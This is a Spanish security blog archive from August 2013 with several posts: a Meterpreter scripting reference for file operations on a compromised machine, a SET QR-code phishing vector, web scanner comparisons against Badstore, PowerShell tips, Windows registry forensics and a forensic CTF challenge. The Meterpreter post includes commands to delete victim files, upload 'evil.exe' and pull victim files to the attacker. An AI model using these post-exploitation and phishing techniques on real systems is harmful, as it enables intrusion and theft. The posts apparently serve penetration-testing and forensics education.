Y ahí fueron a parar el resto del dinero estafado. Ahora solo nos falta detallar todas las evidencias así como el proceso de extracción en el informe pericial :)
Esperamos que os haya gustado el reto.
Saludos!

21 ago 2013

Meterpreter API (Parte I)

En este artículo el objetivo es ayudar al desarrollador de scripts de Meterpreter a localizar y conocer funciones que le serán útiles, y objetos que pueden facilitar mucho la vida del desarrollador. Hoy nos centramos en las operaciones más comunes sobre el File System en general. Si quieres comenzar el desarrollo de scripts, comienza por aprender Ruby, un lenguaje sencillo e intuitivo, y no dudes en leer estos artículos:

- Encendiendo el horno: desarrollo de scripts de Meterpreter

- Mixins de Ruby

- Evasión de eventos en los scripts de Meterpreter

Comenzemos! ( =begin )

Para listar directorios:

Syntax: client.fs.dir.entriesOutput: ["AUTOEXEC.BAT", "boot.ini", "CONFIG.SYS", "Documents and Settings"]Comment: Para listar directorioSyntax: client.fs.dir.entries("c:\\")Output: ["sample_file.txt","dummy_directory","myfile.exe"]Comment: Para listar unidad CSyntax: client.fs.dir.entries_with_infoOutput: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]Comment: Para listar directorio con más informaciónSyntax: client.fs.dir.entries_with_info("c:\\")Output: [{"FileName"=>".", "FilePath"=>"c:\\........ "st_atime"=>0, "st_mtime"=>1329581528}>}]Comment: Para listar unidad C con detallePara operar sobre directorios:
Syntax: client.fs.dir.chdir("c:\\")Output: 0Comment: Esto cambia el directorio de trabajoSyntax: client.fs.dir.mkdir("c:\\oldman")Output: 0Comment: Crea un directorio en la ruta especificadaSyntax: client.fs.dir.pwdOutput: "c:\\oldmanlab"Comment: Proporciona el actual directorio de trabajoSyntax: client.fs.dir.getwdOutput: "c:\\oldmanlab"Comment: Proporciona el actual directorio de trabajo
Syntax: client.fs.dir.delete("c:\\oldman")Output: 0Comment: Elimina el directorio solo SI está vacíoSyntax: client.fs.dir.rmdir("c:\\oldman")Output: 0Comment: Elimina el directorio solo SI está vacíoSyntax: client.fs.dir.unlink("c:\\oldman")Output: 0Comment: Elimina el directorio solo SI está vacío
Operaciones externas (download/upload): Syntax: client.fs.dir.download("/root/oldmanlab/","c:\\oldman")Output: [".", "..", "firefox.lnk", "my_file.txt"]Comment: Descarga todos los archivos que hay dentro del directorio de la víctima y lo almacena en la ruta local proporcionada por el atacanteSyntax: client.fs.dir.upload("c:\\oldman","/root/oldmanlab")Output: [".", "..", "firefox.lnk", "my_file.txt"]Comment: Esto permite subir todo el contenido dentro del directorio origen de un atacante al directorio destinto del equipo de la víctimaOperaciones extra sobre ficheros:
Syntax: client.fs.file.separatorOutput: \\Comment: Devuelve el tipo de separador que utiliza el sistema, por ejemplo Windows \\ Unix /
Syntax: client.fs.file.search("c:\\oldman","hacking.txt")Output: [{"path"=>"c:\\oldman\\lab", "name"=>"hacking.txt", "size"=>4}]Comment: Esto permite realizar búsquedas de ficheros sobre un directorio baseSyntax: client.fs.file.basename("c:\\oldman\\hacking.txt")Output: hacking.txtComment: Proporciona el nombre del fichero en concreto sin el pathSyntax: client.fs.file.expand_path("%TEMP%")Output: "C:\\WINDOWS\\TEMP"Comment: Devuelve el Path completo de una variable de entornoSyntax: client.fs.file.md5("c:\\oldman\\file.txt")Output: "\x12,\x17~Fj\xFEq\xB7?'\x01;f\x7F'"Comment: Devuelve el hash MD5 de un ficheroSyntax: client.fs.file.md5("c:\\oldman\\file.txt")Output: "Q\xD0\b\xFF\xFA\xD8\xF4x7_\xAE\x911\xB4\xE12V\xB8\tw"Comment: Devuelve el hash SHA1 de un ficheroSyntax: client.fs.file.exists?("c:\\oldman\\file.txt")Output: trueComment: Devuelve true si el fichero existeSyntax: client.fs.file.rm("c:\\oldman\\file.txt")Output: Rex::Post::Meterpreter::Packet type=Response....meta=INT value=0Comment: Elimina el ficheroSyntax: client.fs.file.unlink("c:\\oldman\\file.txt")Output: Rex::Post::Meterpreter::Packet type=Response....meta=INT value=0Comment: Elimina el ficheroSyntax: client.fs.file.upload("c:\\oldman","/root/lab/evil.exe")Output: ["/root/lab/firefox.lnk"]Comment: Subre un fichero a un directorio de la víctimaSyntax: client.fs.file.download("/root/lab/secret.exe","c:\\oldman\\secret.exe")Output: ["c:\\oldman\\secret.exe"]Comment: Descarga un fichero de un directorio de la víctima a un directorio local del atacante

Por hoy esto es todo, más información en la web de Oldman, un blog interesante el cual hemos querido rescatar, proporcionando el trabajo que esta persona realizó. En el próximo artículo nos centraremos en redes y OS, para que podáis diseñar e implementar vuestros scripts de Meterpreter.

Fin ( =end ) 

20 ago 2013

Vector de ataque: QRCode

Los QRCode han generado un nuevo vector que puede ser explotado por la ingeniería social. ¿Cómo? El vector de ataque para generación de QRCode permite al usuario crear este tipo de imágenes que pueden ser leídas e interpretadas por aplicaciones móviles. La ingeniería social mediante el uso de QRCode propone utilizarlos para publicar dichas imágenes en el mayor número de sitios, es decir de forma masiva, y conseguir que los, cada vez más, usuarios de smartphones puedan caer en la trampa. Generalmente, después de un QRCode malicioso se encuentra un sitio web, el cual también podría ser montado con SET con la opción “Website Attack Vectors”, y nuestro gran amigo Metasploit, siempre de fondo, en nuestras oscuras intenciones.

Ejemplificando el proceso

Utilizaremos la posibilidad de generar QRCode a través de SET, Social Engineer Toolkit, para enlazar a un usuario con un sitio web malicioso. El escenario montado es en una red local, donde todo dispositivo se encuentra controlado, habría que imaginar dicho escenario en Internet.

La imagen es almacenada en la ruta /pentest/exploits/set/reports/ en formato PNG. Esta imagen será colocada en otros sitios web o mandada vía mail para conseguir que las víctimas tras la lectura del QRCode se conecten al servidor web malicioso. Hay que recordar que existen lectores QRCode que no informan del recurso al que se conectan, es decir automáticamente intentan acceder al recurso al que apunta el QRCode. En la imagen se puede visualizar el QRCode generado gracias al uso de SET.

¿Lo leeréis? ¿Qué pone en el QRCode realmente? :D

19 ago 2013

Escáneres de vulnerabilidades Web ¿Cuál es tu preferido? Parte VI

Buenas a todos, en el post de hoy continuaremos con la cadena “Escáneres de vulnerabilidades Web ¿Cuál es tu preferido?” en la que estamos recopilando un listado con las herramientas más útiles para auditar aplicaciones de tipo web.

Hoy seguiremos la cadena hablando de la herramienta IBM Rational AppScan.

Antes conocida como Watchfire AppScan, IBM Rational AppScan es una herramienta de prueba de seguridad de aplicaciones Web desarrollada por IBM, que automatiza las evaluaciones de vulnerabilidad y escanea y prueba las vulnerabilidades comunes de aplicaciones Web incluyendo inyección SQL, scripting entre sitios, desbordamiento de buffer y nuevos escaneos de exposición Web 2.0 y aplicaciones flash/Flex.

Su uso es muy sencillo y cuenta con un wizard con el que podremos automatizar un escaneo. Siguiendo la política que hemos adoptado en el resto de posts de la cadena, realizaremos un escaneo por defecto sobre el portal web de Badstore:

Tras un par de minutos, AppScan nos devolverá un completo reporte sobre las vulnerabilidades e información localizada en Badstore:

A continuación actualizaremos la lista de herramientas con la nueva información:
AplicaciónAlertas totalesVulnerabilidades de Inyección SQL
Acunetix11729
IBM Rational AppScan591
W3af536
Vega242
Websecurity Scanner185
Wikto130
Webcruiser52

Como veis, AppScan es una herramienta muy buena para realizar auditorías de seguridad, sin embargo, parece que no llega a la altura de Acunetix. Es interesante comentar, en favor de AppScan, que aplicaciones como W3af, Websecurity Scanner o Acunetix detectan por ejemplo la vulnerabilidad de inyección SQL detectada por IBM Rational AppScan como varias distintas, al encontrarse en varios puntos de la aplicación, por lo que los resultados de la tabla no son 100% reales.

Nos vemos en el siguiente post,

Saludos!

18 ago 2013

Informe Flu – 137

Como cada semana nos encontramos ante nuestros “Enlaces de la semana”. Lo que ha ocurrido durante la semana en Flu Project ha sido lo siguiente:

Lunes 12 de Agosto

Martes 13 de Agosto

Miércoles 14 de Agosto

Jueves 15 de Agosto

Viernes 16 de Agosto
Sabado 17 de Agosto
  • Ayer Pablo nos enseñó a tunear nuestra PowerShell

17 ago 2013

Tunéate tu PowerShell

El post de hoy, en pleno Agosto y siendo sábado, lo dedicamos a tunearnos nuestra PowerShell conociendo los ficheros profile, los cuales permiten configurar todo lo que queramos realizar al arrancar nuestra PowerShell.

Un perfil es un archivo o conjunto de éstos que especifican la configuración y personalización de un entorno o aplicación. En PowerShell también existe el concepto de perfil. En PowerShell se pueden distinguir lo que es la shell de sistema, junto a las shell con módulos cargados de otros productos. Por ejemplo, con Windows 7 se dispone por defecto de una PowerShell para el sistema.

Existen 4 perfiles, jerarquizados por 2 tipos:

  • $env:userprofile\Mis documentos\Windows PowerShell\profile.ps1. Es un perfil para todos los escenarios dónde se ejecuta PowerShell, ya sea shell de sistema o shell de otros producto.
  • $env:userprofile\Mis Documentos\Windows PowerShell\ Microsoft.PowerShell_profile.ps1 Es un perfil para sólo el entorno PowerShell instalado por defecto, la shell del sistema.
  • $env:windir\system32\Windows PowerShell\v1.0\profile.ps1 Perfil para todos los escenarios, y para todos los usuarios de la máquina.
  • $env:windir\system32\Windows PowerShell\v1.0\ Microsoft.PowerShell_profile.ps1 Perfil para el entorno PowerShell instalado por defecto, que se aplica a todos los usuarios.
Para los sistemas de 64 bits los perfiles tienen la misma ruta, salvo que en vez de estar en System32, se encuentran en Syswow64. La ejecución de los perfiles al arrancar la PowerShell tiene el siguiente orden:
  1. $env:windir\system32\Windows PowerShell\v1.0\profile.ps1
  2. $env:windir\system32\WindowsPowerShell\v1.0\ Microsoft.PowerShell_profile.ps1
  3. $env:userprofile\Mis documentos\Windows PowerShell\profile.ps1
  4. $env:userprofile\MisDocumentos\WindowsPowerShell\ Microsoft.PowerShell_profile.ps1

Los perfiles no vienen creados por defecto, por lo que hay que crearlo a través de PowerShell o creando un archivo del tipo PS1. Se puede utilizar la variable $profile para indicar cual debe ser la ruta de creación del perfil de tipo usuario. Para crear los perfiles de máquina se debe ser administrador. El fichero con el perfil no es más que una serie de instrucciones de línea de comandos, muy similar a los perfiles en otras shell. Un ejemplo sería:

#profile.ps1#área para alias y variablesset-alias procesos –value get-process$usuario = $env:username#área para definición de funcionesfunction hora {get-date}function prompt {‘PS ‘ + $(get-location) + ‘ ‘ + $(date) +’ > ’}……#otras áreas útiles para el usuario#mensaje de bienvenida al ejecutar la shell$user = [System.security.principal.Windowsidentity]::GetCurrent()write-host Hola $($user.name) , bienvenido a PowerShell

16 ago 2013

Herramientas forense para ser un buen CSI. Parte XXXIV: Recuperando el Software instalado

Buenas a todos, continuando la línea de posts sobre Análisis Forense que estamos dedicando a la extración de información del registro de Windows, hoy veremos como extraer todos los datos posibles acerca del software que hay instalado en una máquina.El software instalado y su información son almacenados en la siguiente ruta del registro de Windows:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall

En algunas claves, el nombre del software instalado nos aparecerá directamente como nombre de clave, y en otras, podremos acceder a ellos a través de la subclave "DisplayName":

Esta clave puede ser fácilmente accedida de manera automática desde la herramienta WRR, cargando el archivo "SOFTWARE" que encontraréis en la siguiente ruta de Windows:

C:\Windows\System32\config

Es importante destacar que si estáis haciendo un "forense en vivo" no os va a dejar acceder al archivo, porque se encontrará en uso, por lo que tenéis que recuperarlo desde otro sistema mapeando la unidad C (o la correspondiente) del disco duro (recordad que siempre en un forense es recomendable hacerlo en modo lectura para no contaminar las muestras).

Nos vemos en el próximo post.

Saludos!

15 ago 2013

#FPR8 - Reto Hacking: BarceLOnas, ¿dónde está mi sobre?

Buenas a todos, hoy damos comienzo al octavo reto hacking de Flu Project. El reto mezcla muchos de los contenidos abordados a lo largo de la cadena "Herramientas Forense para ser un buen CSI", por lo que no tendréis mayor problema en resolverlo con un poco de tiempo y paciencia. En una semana publicaremos el solucionario al reto. Como de costumbre, podéis enviarnos vuestras soluciones a nuestro email info@flu-project.com, y si son correctas, podrán ser publicadas en el blog ¡Comenzamos!

BarceLOnas, ¿dónde está mi sobre?

A la atención de D. Enrique García García,

Estimado D. Enrique, como perito judicial forense informático nº 157 de la Ilustre Asociación Comarcal de Peritos Judiciales de Mordor, ha sido usted seleccionado como perito independiente en el juicio contra el señor BarceLOnas, por blanqueo de capitales y tráfico de influencias, para realizar un peritaje forense a un dispositivo de tipo pendrive requerido al señor BarceLOnas, durante la inspección de su domicilio.

El dispositivo fue intervenido por la Unidad de Delitos Económicos de la Policía Judicial Mordorense, y puesto bajo custodia del secretario judicial tras realizar cuatro copias del mismo y generar el debido documento de cadena de custodia.

Junto a esta carta se le remite el documento de cadena de custodia, así como un DVD con un clonado del pendrive en formato dd.

Se le solicita remita en un plazo de 7 días desde la fecha de recepción de esta carta, un informe pericial que ayude a determinar a dónde fueron a parar los 300.000€ que el Señor BarceLOnas recibió en B por la recalificación al Señor Sauron de la parcela P2 de su Palacete en Pedralbes.

Reciba un cordial saludo

14 ago 2013

Seguridad y PowerShell (Parte VI)

Continuando con la serie sobre PowerShell y la seguridad que ésta ofrece, hoy hablaremos sobre como gestiona las credenciales la PowerShell de Microsoft. Es importante entender como funciona esto, para que el administrador tenga la suficiente tranquilidad y estar seguro de que PowerShell es fiable y seguro para la administración de sus entornos diariamente.

En el mundo empresarial las credenciales son un pilar fundamental en la organización, son la vía por la que un usuario demuestra ser quién dice ser. Es por esta razón que este tipo de información debe ir siempre protegido y nunca encontrarse almacenado, ya sea en memoria o disco, en texto plano. Como ya hemos visto en los artículos anteriores, PowerShell utiliza las cadenas seguras para proporcionar esta capa de seguridad en memoria. Se dispone de la posibilidad de enmascarar credenciales con el cmdlet Read-Host. Otra vía es utilizar el cmdlet Get-Credential, el cual recogerá la información que el usuario suministrará a través de un popup. Una vez el usuario introduce su credencial se crea un nuevo objeto de tipo PSCredential. Este objeto dispone de dos campos, usuario y contraseña. Si intentamos acceder a los dos atributos, veremos que el primer atributo, usuario, es de tipo String, mientras que el segundo atributo es de tipo SecureString.

El cmdlet Get-Credential tiene un uso amplio en PowerShell para poder realizar tareas bajo otra identidad. Diversos expertos en seguridad recomiendan no utilizar cuentas de administrador en las sesiones de trabajo, es decir, solamente ejecutar acciones que requieran dichos privilegios. El cmdlet Get-Credential proporciona el cambio de identidad para la realización de acciones concretas.

Como ejemplo escenifiquemos este, un usuario se encuentra trabajando en una sesión de PowerShell, en un momento dado necesita poder copiar unos documentos a una ruta sobre la que no dispone de privilegios. Este usuario conoce las credenciales del usuario administrador que si dispone de privilegios. En este momento sería correcto ejecutar el comando Move-Item con el parámetro credential e indicar que la acción se realizará con el usuario administrador. Copy-item <archivo origen> <archivo destino> -credential $(get-credential).

13 ago 2013

Escáneres de vulnerabilidades Web ¿Cuál es tu preferido? Parte V

Buenas a todos, en el post de hoy seguiremos con la cadena “Escáneres de vulnerabilidades Web ¿Cuál es tu preferido?” en la que estamos recopilando un listado con las herramientas más útiles para auditar aplicaciones de tipo web.Hoy seguiremos la cadena hablando de la herramienta Wikto.

Wikto es una herramienta enfocada más a footprint que a análisis de vulnerabilidades, ya que se centra en la búsqueda de ficheros y directorios. Sin embargo, es capaz de localizar algunas vulnerabilidades como por ejemplo, las de tipo HTML injection, por lo que hemos decidido incluirla en la lista de utilidades a analizar contra Badstore.

Su uso es muy sencillo, y cuenta con un sencillo Wizard para configurar los escaneos de vulnerabilidades:

 Sin embargo, la opción que más nos interesa hoy se encuentra en la pestaña Wikto, y en la cual tendremos que cargar la BBDD de vulnerabilidades de Nikto, y pulsar sobre el botón Scan:

Cuando finalice el análisis podremos exportar los resultados a formato CSV para verlos más claramente:

Como se puede ver, Wikto nos ha reportado con la BBDD de Nikto un total de 13 vulnerabilidades, entre las cuales se encuentran varias de inyección de código XSS y HTML, listados de directorios, etc., pero ninguna de tipo inyección de código SQL.

A continuación actualizaremos la lista de herramientas con la nueva información:

AplicaciónAlertas totalesVulnerabilidades de Inyección SQL
Acunetix11729
W3af536
Vega242
Websecurity Scanner185
Wikto130
Webcruiser52
Próximamente seguiremos analizando nuevas herramientas. ¿Cuáles nos recomendáis para continuar las pruebas?Saludos!